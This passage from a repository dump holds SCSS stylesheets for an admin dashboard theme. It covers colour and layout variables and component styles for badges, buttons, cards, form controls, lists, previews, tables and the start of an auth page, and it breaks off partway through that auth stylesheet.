43 | $theme-colors: (
44 | primary: #b66dff,
45 | secondary: #d8d8d8,
46 | success: #1bcfb4,
47 | info: #198ae3,
48 | warning: #fed713,
49 | danger: #fe7c96,
50 | light: #f8f9fa,
51 | dark: #3e4b5b
52 | );
53 |
54 | $theme-gradient-colors: (
55 | primary: linear-gradient(to right, #da8cff, #9a55ff),
56 | secondary: linear-gradient(to right, #e7ebf0, #868e96),
57 | success: linear-gradient(to right, #84d9d2, #07cdae),
58 | info: linear-gradient(to right, #90caf9, #047edf 99%),
59 | warning: linear-gradient(to right, #f6e384, #ffd500),
60 | danger: linear-gradient(to right, #ffbf96, #fe7096),
61 | light: linear-gradient(to bottom, #f4f4f4, #e4e4e9),
62 | dark: linear-gradient(89deg, #5e7188, #3e4b5b)
63 | );
64 |
65 |
66 | ////////// COLOR SYSTEM //////////
67 |
68 | ////////// COLOR VARIABLES //////////
69 | $content-bg: #f2edf3;
70 | $footer-bg: $content-bg;
71 | $footer-color: color(dark);
72 | $border-color: #ebedf2;
73 |
74 | ////////// COLOR VARIABLES //////////
75 |
76 |
77 |
78 | ////////// SOCIAL COLORS //////////
79 |
80 | $social-colors: (
81 | twitter: #2caae1,
82 | facebook: #3b579d,
83 | google: #dc4a38,
84 | linkedin: #0177b5,
85 | pinterest: #cc2127,
86 | youtube: #e52d27,
87 | github: #333333,
88 | behance: #1769ff,
89 | dribbble: #ea4c89,
90 | reddit: #ff4500
91 | );
92 |
93 | ////////// SOCIAL COLORS //////////
94 |
95 | ////////// FONTS//
96 |
97 | $type1-light: 'ubuntu-light', sans-serif;
98 | $type1-regular: 'ubuntu-regular', sans-serif;
99 | $type1-medium: 'ubuntu-medium', sans-serif;
100 | $type1-bold: 'ubuntu-bold', sans-serif;
101 |
102 | $default-font-size: .875rem; // 14px as base font size
103 |
104 | $text-muted: #9c9fa6;
105 | $body-color: #343a40;
106 |
107 | ////////// FONT VARIABLES //////////
108 |
109 | ////////// SIDEBAR ////////
110 | $sidebar-width-lg: 260px;
111 | $sidebar-width-mini: 185px;
112 | $sidebar-width-icon: 70px;
113 |
114 | $sidebar-light-bg: $white;
115 | $sidebar-light-menu-color: #3e4b5b;
116 | $sidebar-light-submenu-color: #888;
117 | $sidebar-light-menu-active-bg: $white;
118 | $sidebar-light-menu-active-color: theme-color(primary);
119 | $sidebar-light-menu-hover-bg: darken($sidebar-light-bg, 1%);
120 | $sidebar-light-menu-hover-color: darken($sidebar-light-menu-color, 10%);
121 | $sidebar-light-submenu-hover-color: darken($sidebar-light-submenu-color, 20%);
122 | $sidebar-light-menu-icon-color: #bba8bff5;
123 | $sidebar-light-menu-arrow-color: #9e9da0;
124 | $sidebar-light-menu-border-color: #f2edf3;
125 |
126 | $sidebar-dark-bg: #18151e;
127 | $sidebar-dark-menu-color: $white;
128 | $sidebar-dark-menu-active-bg: #282037;
129 | $sidebar-dark-menu-active-color: color(white);
130 | $sidebar-dark-menu-hover-bg: #282037;
131 | $sidebar-dark-menu-hover-color: color(white);
132 | $sidebar-dark-submenu-color: $sidebar-dark-menu-color;
133 | $sidebar-dark-submenu-hover-bg: initial;
134 | $sidebar-dark-submenu-hover-color: #ffffff;
135 |
136 | $sidebar-menu-font-size: $default-font-size;
137 | $sidebar-menu-padding-y: 1.125rem;
138 | $sidebar-menu-padding-x: 2.25rem;
139 |
140 | $sidebar-submenu-font-size: .8125rem;
141 | $sidebar-submenu-item-padding: .75rem 2rem .75rem 2rem;
142 |
143 | $sidebar-icon-font-size: 1.125rem;
144 | $sidebar-arrow-font-size: .625rem;
145 |
146 | $sidebar-profile-bg: transparent;
147 | $sidebar-profile-padding: .75rem 1.625rem .75rem 1.188rem;
148 |
149 | $sidebar-mini-menu-padding: .8125rem 1rem .8125rem 1rem;
150 |
151 | $sidebar-icon-only-menu-padding: .5rem 1.625rem .5rem 1.188rem;
152 | $sidebar-icon-only-submenu-padding: 0 0 0 1.5rem;
153 |
154 | $rtl-sidebar-submenu-padding: 0 1.5rem 0 0;
155 |
156 | $icon-only-collapse-width: 190px;
157 | $icon-only-menu-bg-light: $sidebar-light-menu-hover-bg;
158 | $icon-only-menu-bg-dark: $sidebar-dark-menu-hover-bg;
159 |
160 | ///////// SIDEBAR ////////
161 |
162 | ///////// SETTINGS PANEL ////////
163 |
164 | $settings-panel-width: 300px;
165 |
166 | ///////// HORIZONTAL MENU /////////
167 | $horizontal-menu-bg : #f6f8fa;
168 | $horizontal-menu-height : 4rem;
169 | $horizontal-menu-padding: 0 1rem;
170 | $horizontal-menu-item-color: #202339;
171 | $horizontal-menu-submenu-color: $horizontal-menu-item-color;
172 | $horizontal-menu-font-size: .875rem;
173 | $horizontal-menu-item-padding: .75rem 0;
174 | $horizontal-menu-icon-font-size: .9375rem;
175 | $horizontal-menu-submenu-item-padding: .85rem 0;
176 |
177 | $horizontal-boxed-menu-color: #9c9fa6;
178 |
179 | $horizontal-full-width-menu-color: #9c9fa6;
180 | ///////// HORIZONTAL MENU /////////
181 |
182 | ///////// NAVBAR ////////
183 |
184 | $navbar-height: 70px;
185 | $navbar-menu-color: #9c9fa6;
186 | $navbar-font-size: .875rem;
187 | $navbar-icon-font-size: 1.25rem;
188 |
189 | ///////// NAVBAR ////////
190 |
191 |
192 |
193 | ///////// BUTTONS ////////
194 |
195 | $button-fixed-width: 150px;
196 | $btn-padding-y: .875rem;
197 | $btn-padding-x: 2.5rem;
198 | $btn-line-height: 1;
199 |
200 | $btn-padding-y-xs: .5rem;
201 | $btn-padding-x-xs: .75rem;
202 |
203 | $btn-padding-y-sm: .50rem;
204 | $btn-padding-x-sm: .81rem;
205 |
206 | $btn-padding-y-lg: 1rem;
207 | $btn-padding-x-lg: 3rem;
208 |
209 | $btn-font-size: .875rem;
210 | $btn-font-size-xs: .625rem;
211 | $btn-font-size-sm: .875rem;
212 | $btn-font-size-lg: .875rem;
213 |
214 | $btn-border-radius: .1875rem;
215 | $btn-border-radius-xs: .1875rem;
216 | $btn-border-radius-sm: .1875rem;
217 | $btn-border-radius-lg: .1875rem;
218 |
219 | ///////// BUTTONS ////////
220 |
221 |
222 |
223 | ////////// TOOLTIP VARIABLES //////////
224 |
225 | //default styles
226 | $tooltip-font-size: .75rem;
227 | $tooltip-padding-y: .4rem;
228 | $tooltip-padding-x: .75rem;
229 | $tooltip-border-radius: .375rem;
230 |
231 | ////////// TOOLTIP VARIABLES //////////
232 |
233 |
234 |
235 | ///////// FORMS /////////
236 |
237 | $input-bg: color(white);
238 | $input-border-radius: 2px;
239 | $input-placeholder-color: #c9c8c8;
240 | $input-font-size: .8125rem;
241 |
242 | $input-padding-y: .875rem;
243 | $input-padding-x: 1.375rem;
244 | $input-line-height: 1;
245 |
246 | $input-padding-y-xs: .5rem;
247 | $input-padding-x-xs: .75rem;
248 |
249 | $input-padding-y-sm: .50rem;
250 | $input-padding-x-sm: .81rem;
251 |
252 | $input-padding-y-lg: .94rem;
253 | $input-padding-x-lg: 1.94rem;
254 |
255 | ///////// FORMS /////////
256 |
257 | //////// DROPDOWNS ///////
258 |
259 | $dropdown-border-color: $border-color;
260 | $dropdown-divider-bg: $border-color;
261 | $dropdown-link-color: $body-color;
262 | $dropdown-header-color: $body-color;
263 | //////// DROPDOWNS ///////
264 |
265 | //////// TABLES ////////
266 |
267 | $table-accent-bg: $content-bg;
268 | $table-hover-bg: $content-bg;
269 | $table-cell-padding: .9375rem;
270 | $table-border-color: $border-color;
271 |
272 | $table-inverse-bg: #2a2b32;
273 | $table-inverse-color: color(white);
274 |
275 | //////// TABLES ////////
276 |
277 |
278 |
279 | ////////// MEASUREMENT AND PROPERTY VARIABLES //////////
280 |
281 | $boxed-container-width: 1200px;
282 | $border-property: 1px solid $border-color;
283 | $card-spacing-y: 2.5rem;
284 | $card-padding-y: 2.5rem;
285 | $card-padding-x: 2.5rem;
286 | $card-border-radius: .3125rem;
287 | $card-description-color: #76838f;
288 | $grid-gutter-width: 40px;
289 | $action-transition-duration: 0.25s;
290 | $action-transition-timing-function: ease;
291 | ////////// OTHER VARIABLES //////////
292 |
293 |
294 |
295 | ////////// BREAD CRUMBS VARIABLES //////////
296 |
297 | // default styles
298 | $breadcrumb-padding-y: 0.56rem;
299 | $breadcrumb-padding-x: 1.13rem;
300 | $breadcrumb-item-padding: .5rem;
301 | $breadcrumb-margin-bottom: 1rem;
302 | $breadcrumb-font-size: $default-font-size;
303 | $breadcrumb-bg: transparent;
304 | $breadcrumb-border-color: $border-color;
305 | $breadcrumb-divider-color: $gray-600;
306 | $breadcrumb-active-color: $gray-700;
307 | $breadcrumb-divider: "/";
308 |
309 | // custom styles
310 | $breadcrumb-custom-padding-y: 0;
311 | $breadcrumb-custom-padding-x: 0;
312 | $breadcrumb-custom-item-padding-y: 0.56rem;
313 | $breadcrumb-custom-item-padding-x: 10px;
314 | $breadcrumb-custom-item-color: $black;
315 | $breadcrumb-item-bg: #dbe3e6;
316 |
317 | ////////// BREAD CRUMBS VARIABLES //////////
318 |
319 |
320 |
321 | ////////// MODALS VARIABLES //////////
322 |
323 | $modal-inner-padding: 15px;
324 | $modal-dialog-margin: 10px;
325 | $modal-dialog-margin-y-sm-up: 30px;
326 | $modal-title-line-height: $line-height-base;
327 | $modal-content-bg: $content-bg;
328 | $modal-content-box-shadow-xs: 0 3px 9px rgba($black,.5);
329 | $modal-content-box-shadow-sm-up: 0 5px 15px rgba($black,.5);
330 |
331 | $modal-backdrop-bg: $black;
332 | $modal-backdrop-opacity: .5;
333 |
334 | $modal-header-border-color: $border-color;
335 | $modal-content-border-color: $border-color;
336 | $modal-footer-border-color: $border-color;
337 |
338 | $modal-header-border-width: $border-width;
339 | $modal-content-border-width: $border-width;
340 | $modal-footer-border-width: $border-width;
341 |
342 | $modal-header-padding-x: 26px;
343 | $modal-header-padding-y: 25px;
344 |
345 | $modal-body-padding-x: 26px;
346 | $modal-body-padding-y: 35px;
347 |
348 | $modal-footer-padding-x: 31px;
349 | $modal-footer-padding-y: 15px;
350 |
351 | $modal-lg: 90%;
352 | $modal-md: 500px;
353 | $modal-sm: 300px;
354 | $modal-transition: transform .4s ease;
355 |
356 | ////////// MODALS VARIABLES //////////
357 |
358 | ///////// TABS VARIABLES //////////
359 | $nav-tabs-border-color: #ebedf2;
360 | $nav-tabs-link-bg: #f6f8fa;
361 | $nav-tabs-link-color: #000000;
362 | $nav-tabs-link-hover-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-border-color;
363 | $nav-tabs-link-active-color: $body-color;
364 | $nav-tabs-link-active-bg: $white;
365 | $nav-tabs-link-active-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-link-active-bg;
366 | $nav-pills-custom-bg: #fcfcfd;
367 | //////// TABS VARIABLES /////////
368 |
369 | //////// CALENDAR //////////////
370 | $fullcalendar-color: #a8b2b9;
371 | //////// CALENDAR //////////////
--------------------------------------------------------------------------------
/static/user/scss/components/_badges.scss:
--------------------------------------------------------------------------------
1 | /* Badges */
2 |
3 | .badge {
4 | border-radius: .125rem;
5 | font-size: 11px;
6 | font-weight: initial;
7 | line-height: 1;
8 | padding: .375rem .5625rem;
9 | font-family: $type1-medium;
10 | &.badge-pill {
11 | border-radius: 10rem;
12 | }
13 | }
14 |
15 |
16 | /*Badge variations*/
17 | @each $color, $value in $theme-colors {
18 | .badge-#{$color} {
19 | @include badge-variations($value);
20 | }
21 | }
22 |
23 | /*Badge gradient variations*/
24 | @each $color, $value in $theme-gradient-colors {
25 | .badge-gradient-#{$color} {
26 | @include badge-gradient-variations($value);
27 | }
28 | }
29 |
30 | /*Badge outlined variations*/
31 | @each $color, $value in $theme-colors {
32 | .badge-outline-#{$color} {
33 | @include badge-outline-variations($value);
34 | }
35 | }
--------------------------------------------------------------------------------
/static/user/scss/components/_bootstrap-progress.scss:
--------------------------------------------------------------------------------
1 | /* Bootstrap Progress */
2 |
3 | .progress {
4 | @include border-radius(3px);
5 | height: 8px;
6 | .progress-bar {
7 | @include border-radius(3px);
8 | }
9 |
10 | &.progress-sm{
11 | height: 0.375rem;
12 | }
13 | &.progress-md {
14 | height: 8px;
15 | }
16 | &.progress-lg {
17 | height: 15px;
18 | }
19 | &.progress-xl {
20 | height: 18px;
21 | }
22 | }
--------------------------------------------------------------------------------
/static/user/scss/components/_buttons.scss:
--------------------------------------------------------------------------------
1 | /* Buttons */
2 |
3 | .btn {
4 | font-size: $btn-font-size;
5 | line-height: 1;
6 | font-family: $type1-bold;
7 | i {
8 | font-size: 1rem;
9 | }
10 | &.btn-rounded {
11 | @include border-radius(50px);
12 | }
13 | &.btn-fw {
14 | min-width: $button-fixed-width;
15 | }
16 | &.btn-sm {
17 | font-size: $btn-font-size-sm;
18 | }
19 | &.btn-lg {
20 | font-size: $btn-font-size-lg;
21 | }
22 | &.btn-xs {
23 | padding: $btn-padding-y-xs $btn-padding-x-xs;
24 | font-size: $btn-font-size-xs;
25 | }
26 | /* Buttons with only icons */
27 | &.btn-icon {
28 | width: 42px;
29 | height: 42px;
30 | padding: 0;
31 | }
32 | /* Buttons with icon and text */
33 | &.btn-icon-text {
34 | .btn-icon-prepend {
35 | margin-right: .5rem;
36 | }
37 | .btn-icon-append {
38 | margin-left: .5rem;
39 | }
40 | }
41 | &.btn-social-icon {
42 | width: 50px;
43 | height: 50px;
44 | padding: 0;
45 | }
46 | }
47 |
48 | .btn-group {
49 | .btn {
50 | + .btn {
51 | border-left: 0;
52 | }
53 | }
54 | }
55 |
56 | .btn-toolbar {
57 | .btn-group {
58 | +.btn-group {
59 | @extend .ml-2;
60 | }
61 | }
62 | }
63 | /*social buttons*/
64 | @each $color, $value in $social-colors {
65 | .btn-#{$color} {
66 | @include social-button(social-color($color));
67 | }
68 | .btn-outline-#{$color} {
69 | @include social-outline-button(social-color($color));
70 | }
71 | }
72 | /* inverse buttons */
73 | @each $color, $value in $theme-colors {
74 | .btn-inverse-#{$color} {
75 | @include button-inverse-variant($value);
76 | }
77 | .btn-#{$color}:not(.btn-light) {
78 | color: $white;
79 | &:hover,
80 | &:focus,
81 | &:active {
82 | color: $white;
83 | }
84 | &:focus,
85 | &:active {
86 | background: $value;
87 | border-color: $value;
88 | }
89 | }
90 | .btn-outline-#{$color} {
91 | &:hover,
92 | &:focus,
93 | &:active {
94 | background: theme-gradient-color($color);
95 | color: $white;
96 | }
97 | }
98 | }
99 | /* gradient buttons */
100 | @each $color, $value in $theme-gradient-colors {
101 | .btn-gradient-#{$color} {
102 | @include button-gradient-variant($value);
103 | }
104 | }
--------------------------------------------------------------------------------
/static/user/scss/components/_cards.scss:
--------------------------------------------------------------------------------
1 | /* Cards */
2 |
3 | .card {
4 | border: 0;
5 | .card-body {
6 | padding: $card-padding-y $card-padding-x;
7 | + .card-body {
8 | padding-top: 1rem;
9 | }
10 | }
11 | .card-title {
12 | color: $black;
13 | margin-bottom: .75rem;
14 | text-transform: capitalize;
15 | font-family: $type1-medium;
16 | font-size: 1.125rem;
17 | }
18 | .card-subtitle {
19 | @extend .text-gray;
20 | font-family: $type1-regular;
21 | margin-top: 0.625rem;
22 | margin-bottom: 0.625rem;
23 |
24 | }
25 | .card-description {
26 | margin-bottom: 1.5rem;
27 | font-family: $type1-regular;
28 | color: $card-description-color;
29 | }
30 | &.card-outline-success {
31 | border: 1px solid theme-color("success");
32 | }
33 | &.card-outline-primary {
34 | border: 1px solid theme-color("primary");
35 | }
36 | &.card-outline-warning {
37 | border: 1px solid theme-color("warning");
38 | }
39 | &.card-outline-danger {
40 | border: 1px solid theme-color("danger");
41 | }
42 | &.card-rounded {
43 | @include border-radius(5px);
44 | }
45 |
46 | &.card-faded {
47 | background: #b5b0b2;
48 | border-color: #b5b0b2;
49 | }
50 | &.card-circle-progress {
51 | color: $white;
52 | text-align: center;
53 | }
54 | &.card-img-holder {
55 | position: relative;
56 | .card-img-absolute {
57 | position: absolute;
58 | top:0;
59 | right: 0;
60 | height: 100%;
61 | }
62 | }
63 | }
64 |
65 | @each $color, $value in $theme-colors {
66 | .card-inverse-#{$color} {
67 | @include card-inverse-variant(rgba(theme-color($color), .2), theme-color-level($color, 1), theme-color-level($color, 3));
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/static/user/scss/components/_checkbox-radio.scss:
--------------------------------------------------------------------------------
1 | /* Checkboxes and Radios */
2 |
3 | .form-check {
4 | position: relative;
5 | display: block;
6 | margin-top: 15px;
7 | margin-bottom: 10px;
8 | padding-left: 0;
9 |
10 | .form-check-label {
11 | display: block;
12 | margin-left: 1.75rem;
13 | font-size: $default-font-size;
14 | line-height: 1.5;
15 | .rtl & {
16 | margin-left: 0;
17 | margin-right: 1.75rem;
18 | }
19 |
20 | input {
21 | position: absolute;
22 | top: 0;
23 | left: 0;
24 | .rtl & {
25 | left: auto;
26 | right: 0;
27 | }
28 | margin-left: 0;
29 | margin-top: 0;
30 | z-index: 1;
31 | cursor: pointer;
32 | opacity: 0;
33 | filter: alpha(opacity=0);
34 | }
35 | input[type="checkbox"] {
36 | + .input-helper {
37 | &:before,
38 | &:after {
39 | position: absolute;
40 | top: 0;
41 | left: 0;
42 | .rtl & {
43 | left: auto;
44 | right: 0;
45 | }
46 | }
47 | &:before {
48 | content: "";
49 | width: 18px;
50 | height: 18px;
51 | border-radius: 2px;
52 | border: solid theme-color(primary);
53 | border-width: 2px;
54 | @include transition(all);
55 | transition-duration: 0s;
56 | -webkit-transition-duration: 250ms;
57 | transition-duration: 250ms;
58 | }
59 |
60 | &:after {
61 | @include transition(all);
62 | transition-duration: 0s;
63 | -webkit-transition-duration: 250ms;
64 | transition-duration: 250ms;
65 | font-family: Material Design Icons;
66 | opacity: 0;
67 | filter: alpha(opacity=0);
68 | -webkit-transform: scale(0);
69 | -ms-transform: scale(0);
70 | -o-transform: scale(0);
71 | transform: scale(0);
72 | content: '\F12C';
73 | font-size: .9375rem;
74 | font-weight: bold;
75 | color: $white;
76 | }
77 | }
78 | &:checked {
79 | +.input-helper {
80 | &:before {
81 | background: theme-gradient-color(primary);
82 | border-width: 0;
83 | }
84 | &:after {
85 | width: 18px;
86 | opacity: 1;
87 | line-height: 18px;
88 | filter: alpha(opacity=100);
89 | -webkit-transform: scale(1);
90 | -ms-transform: scale(1);
91 | -o-transform: scale(1);
92 | transform: scale(1);
93 | }
94 | }
95 | }
96 |
97 | &:disabled {
98 | + .input-helper {
99 | &:before {
100 | border-color: $border-color;
101 | }
102 | }
103 |
104 | &:checked {
105 | + .input-helper {
106 | &:after {
107 | background: $border-color;
108 | color: $white;
109 | }
110 | }
111 | }
112 | }
113 | }
114 | input[type="radio"] {
115 | +.input-helper {
116 | &:before {
117 | position: absolute;
118 | content: "";
119 | top: 0;
120 | left: 0;
121 | .rtl & {
122 | left: auto;
123 | right: 0;
124 | }
125 | border: solid theme-color(primary);
126 | border-width: 2px;
127 | width: 20px;
128 | height: 20px;
129 | border-radius: 50%;
130 | @include transition(all);
131 | transition-duration: 0s;
132 | -webkit-transition-duration: 250ms;
133 | transition-duration: 250ms;
134 | }
135 |
136 | &:after {
137 | content: "";
138 | width: 8px;
139 | height: 8px;
140 | background: $white;
141 | border-radius: 50%;
142 | top: 6px;
143 | left: 6px;
144 | .rtl & {
145 | left: auto;
146 | right: 6px;
147 | }
148 | -webkit-transition: all;
149 | -o-transition: all;
150 | transition: all;
151 | transition-duration: 0s;
152 | -webkit-transition-duration: 250ms;
153 | transition-duration: 250ms;
154 | opacity: 0;
155 | filter: alpha(opacity=0);
156 | -webkit-transform: scale(0);
157 | -ms-transform: scale(0);
158 | -o-transform: scale(0);
159 | transform: scale(0);
160 | position: absolute;
161 | }
162 | }
163 |
164 | &:checked {
165 | +.input-helper {
166 | &:before {
167 | background: theme-gradient-color(primary);
168 | border-width: 0;
169 | }
170 |
171 | &:after {
172 | opacity: 1;
173 | line-height: 1.5;
174 | filter: alpha(opacity=100);
175 | -webkit-transform: scale(1);
176 | -ms-transform: scale(1);
177 | -o-transform: scale(1);
178 | transform: scale(1);
179 | }
180 | }
181 | }
182 |
183 | &:disabled {
184 | + .input-helper {
185 | &:before {
186 | border-color: $border-color;
187 | }
188 | }
189 |
190 | &:checked {
191 | + .input-helper {
192 | &:before {
193 | background: $border-color;
194 | }
195 |
196 | &:after {
197 | background: $white;
198 | }
199 | }
200 | }
201 | }
202 | }
203 | }
204 | }
205 |
206 | @each $color, $value in $theme-gradient-colors {
207 | .form-check-#{$color} {
208 | &.form-check {
209 | label {
210 | input[type="checkbox"],
211 | input[type="radio"] {
212 | +.input-helper {
213 | &:before {
214 | border-color: theme-color($color);
215 | }
216 | }
217 | &:checked {
218 | +.input-helper {
219 | &:before {
220 | background: $value;
221 | }
222 | }
223 | }
224 | }
225 | }
226 | }
227 | }
228 | }
229 |
230 | @media (min-width: 576px) {
231 | .form-inline .form-check {
232 |
233 | }
234 | }
--------------------------------------------------------------------------------
/static/user/scss/components/_dropdown.scss:
--------------------------------------------------------------------------------
1 | /* Dropdowns */
2 |
3 | .dropdown {
4 | .dropdown-toggle {
5 | &:after {
6 | border-top: 0;
7 | border-right: 0;
8 | border-left: 0;
9 | border-bottom: 0;
10 | font: normal normal normal 24px/1 "Material Design Icons";
11 | content: "\f140";
12 | width: auto;
13 | height: auto;
14 | vertical-align: baseline;
15 | font-size: .75rem;
16 | }
17 | }
18 | .dropdown-menu {
19 | margin-top: .75rem;
20 | font-size: $default-font-size;
21 | box-shadow: 0px 1px 15px 1px rgba(230, 234, 236, 0.35);
22 | .dropdown-item {
23 | font-size: 1rem;
24 | padding: .25rem 1.5rem;
25 | &:active {
26 | background: initial;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/static/user/scss/components/_forms.scss:
--------------------------------------------------------------------------------
1 | /* Forms */
2 |
3 | .form-group {
4 | margin-bottom: 1.5rem;
5 | }
6 | .input-group-append,
7 | .input-group-prepend {
8 | color: $input-placeholder-color;
9 | width: auto;
10 | border: none;
11 |
12 | .input-group-text {
13 | border-color: $border-color;
14 | padding: $input-padding-y .75rem;
15 | color: $input-placeholder-color;
16 | }
17 | }
18 | .form-control {
19 | border: 1px solid $border-color;
20 | font-family: $type1-regular;
21 | font-size: $input-font-size;
22 | }
23 |
24 | select {
25 | &.form-control {
26 | padding: .4375rem .75rem;
27 | border: 0;
28 | outline: 1px solid $border-color;
29 | color: $input-placeholder-color;
30 | &:focus {
31 | outline: 1px solid $border-color;
32 | }
33 | @each $color, $value in $theme-colors {
34 | &.border-#{$color} {
35 | outline: 1px solid $value;
36 | &:focus {
37 | outline: 1px solid $value;
38 | }
39 | }
40 | }
41 | }
42 | }
43 | .form-group {
44 | label {
45 | font-size: $default-font-size;
46 | line-height: 1;
47 | vertical-align: top;
48 | margin-bottom: .5rem;
49 | }
50 | &.has-danger {
51 | .form-control {
52 | border-color: theme-color(danger);
53 | }
54 | }
55 | .file-upload-default {
56 | visibility: hidden;
57 | position: absolute;
58 | }
59 | .file-upload-info {
60 | background: transparent;
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/static/user/scss/components/_icons.scss:
--------------------------------------------------------------------------------
1 | /* Icons */
2 |
3 | .icons-list {
4 | border-left: 1px solid $border-color;
5 | border-top: 1px solid $border-color;
6 | margin-left: 0;
7 | margin-right: 0;
8 | >div {
9 | background: $white;
10 | border-bottom: 1px solid $border-color;
11 | border-right: 1px solid $border-color;
12 | @include display-flex;
13 | @include align-items(center);
14 | padding:15px 15px;
15 | font-family: $type1-regular;
16 | font-size: $default-font-size;
17 |
18 | i {
19 | display: inline-block;
20 | font-size: 20px;
21 | width: 40px;
22 | text-align: left;
23 | color: theme-color(primary);
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/static/user/scss/components/_lists.scss:
--------------------------------------------------------------------------------
1 | /* Lists */
2 |
3 | ul,
4 | ol,
5 | dl {
6 | padding-left: 1rem;
7 | font-size: $default-font-size;
8 | li {
9 | line-height: 1.8;
10 | }
11 | }
12 |
13 | .list-ticked,
14 | .list-arrow,
15 | .list-star {
16 | list-style: none;
17 | padding: 0;
18 | li {
19 | padding-left: 1.5rem;
20 | &:before {
21 | font-family: "Material Design Icons";
22 | margin-left: -1.5rem;
23 | width: 1.5rem;
24 | margin-right: .5rem;
25 | }
26 | }
27 | }
28 |
29 | .list-ticked {
30 | li {
31 | &:before {
32 | content: '\F12D';
33 | color: theme-color(danger);
34 | }
35 | }
36 | }
37 |
38 | .list-arrow {
39 | li {
40 | &:before {
41 | content: '\F142';
42 | color: theme-color(success);
43 | }
44 | }
45 | }
46 |
47 | .list-star {
48 | li {
49 | &:before {
50 | content: '\F4CE';
51 | color: theme-color(warning);
52 | }
53 | }
54 | }
55 |
56 | .gradient-bullet-list {
57 | padding-left: 0;
58 | .rtl & {
59 | padding-right: 0;
60 | }
61 | li {
62 | position: relative;
63 | list-style-type: none;
64 | padding-left: 25px;
65 | line-height: 1;
66 | padding-bottom: 25px;
67 | &:before,
68 | &:after {
69 | content:"";
70 | position: absolute;
71 | }
72 | &:before {
73 | top: 0;
74 | left: 0;
75 | width: 15px;
76 | height: 15px;
77 | border-radius: 100%;
78 | }
79 | &:after {
80 | width: 11px;
81 | height: 11px;
82 | top: 2px;
83 | left: 2px;
84 | background: $white;
85 | border-radius: 100%;
86 | }
87 | &:nth-child(1) {
88 | &:before {
89 | background: theme-gradient-color(danger);
90 | }
91 | }
92 | &:nth-child(2) {
93 | &:before {
94 | background: theme-gradient-color(info);
95 | }
96 | }
97 | &:nth-child(3) {
98 | &:before {
99 | background: theme-gradient-color(warning);
100 | }
101 | }
102 | &:nth-child(4) {
103 | &:before {
104 | background: theme-gradient-color(success);
105 | }
106 | }
107 | &:nth-child(5) {
108 | &:before {
109 | background: theme-gradient-color(primary);
110 | }
111 | }
112 | }
113 | }
--------------------------------------------------------------------------------
/static/user/scss/components/_preview.scss:
--------------------------------------------------------------------------------
1 | /* Preview */
2 |
3 | .preview-list {
4 | .preview-item {
5 | @include display-flex;
6 | @include flex-direction(row);
7 | @include align-items(flex-start);
8 | padding: .75rem 1.5rem;
9 | font-size: .875rem;
10 | &:last-child {
11 | border-bottom: 0;
12 | }
13 | &:hover {
14 | background: $dropdown-link-hover-bg;
15 | }
16 | .form-check {
17 | margin-top: 8px;
18 | margin-right: 1rem;
19 | }
20 | .preview-thumbnail {
21 | color: color(white);
22 | position: relative;
23 | img,
24 | .preview-icon {
25 | width: 36px;
26 | height: 36px;
27 | border-radius: 100%;
28 | }
29 | .preview-icon {
30 | padding: 6px;
31 | text-align: center;
32 | @include display-flex;
33 | @include align-items(center);
34 | @include justify-content(center);
35 | i {
36 | font-size: 1.125rem;
37 | margin: 0;
38 | .rtl & {
39 | @extend .ml-0;
40 | }
41 | }
42 | }
43 | .badge {
44 | border: 2px solid color(white);
45 | border-radius: 100%;
46 | bottom: 5px;
47 | display: block;
48 | height: 14px;
49 | left: -5px;
50 | padding: 0;
51 | position: absolute;
52 | width: 14px;
53 | &.badge-online {
54 | @extend .badge-success;
55 | }
56 | &.badge-offline {
57 | @extend .badge-info;
58 | }
59 | &.badge-busy {
60 | @extend .badge-warning;
61 | }
62 | }
63 | }
64 | .preview-item-content {
65 | line-height: 1;
66 | padding-left: 15px;
67 | &:first-child {
68 | padding-left: 0;
69 | }
70 | p {
71 | margin-bottom: 10px;
72 | .content-category {
73 | font-family: 'source-sans-pro-semibold', sans-serif;
74 | padding-right: 15px;
75 | border-right: 1px solid $border-color;
76 | @extend .text-muted;
77 | }
78 | }
79 | .rtl & {
80 | padding-left: 0;
81 | padding-right: 1rem;
82 | margin-right: 0;
83 | margin-left: auto;
84 | }
85 | }
86 | .preview-actions {
87 | @include display-flex;
88 | @include flex-direction(row);
89 | i {
90 | width: 29px;
91 | color: color(gray-lightest);
92 | height: 29px;
93 | border: 2px solid color(gray-lightest);
94 | border-radius: 100%;
95 | padding: 3px 6px;
96 | display: inline-block;
97 | &:first-child {
98 | margin-right: 10px;
99 | }
100 | }
101 | }
102 | }
103 | &.comment-preview {
104 | .preview-item {
105 | padding: .87rem 0;
106 | &:first-child {
107 | padding-top: 0;
108 | }
109 | p {
110 | line-height: 27px;
111 | }
112 | }
113 | }
114 | &.bordered {
115 | .preview-item {
116 | border-bottom: 1px solid $border-color;
117 | &:last-child {
118 | border-bottom: 0;
119 | }
120 | }
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/static/user/scss/components/_tables.scss:
--------------------------------------------------------------------------------
1 | /* Tables */
2 |
3 | .table {
4 | margin-bottom: 0;
5 | thead {
6 | th {
7 | border-top: 0;
8 | border-bottom-width: 1px;
9 | font-family: $type1-medium;
10 | font-weight: initial;
11 | i{
12 | margin-left: 0.325rem;
13 | }
14 | }
15 | }
16 | th,
17 | td {
18 | vertical-align: middle;
19 | font-size: $default-font-size;
20 | line-height: 1;
21 | img {
22 | width: 36px;
23 | height: 36px;
24 | border-radius: 100%;
25 | }
26 | .badge {
27 | margin-bottom: 0;
28 | }
29 | }
30 | &.table-borderless{
31 | border: none;
32 | tr,td,th{
33 | border: none;
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/static/user/scss/landing-screens/_auth.scss:
--------------------------------------------------------------------------------
1 | /* Auth */
2 |
3 | .auth {
4 | .auth-form-light {
5 | background: $white;
6 | select {
7 | color: $input-placeholder-color;
8 | }
9 | .input-group {
10 | .form-control {
11 | &:focus,
12 | &:active {
13 | border-color: $border-color;
14 | }
15 | }
16 | }
17 | }
18 | .brand-logo {
19 | margin-bottom: 2rem;
20 | img {
21 | width: 150px;
22 | }
23 | }
24 | form {
25 | .form-group {
26 | margin-bottom: 1.5rem;
27 | label {
28 | font-size: .8125rem;
29 | }
30 | .form-control {
31 | background: transparent;
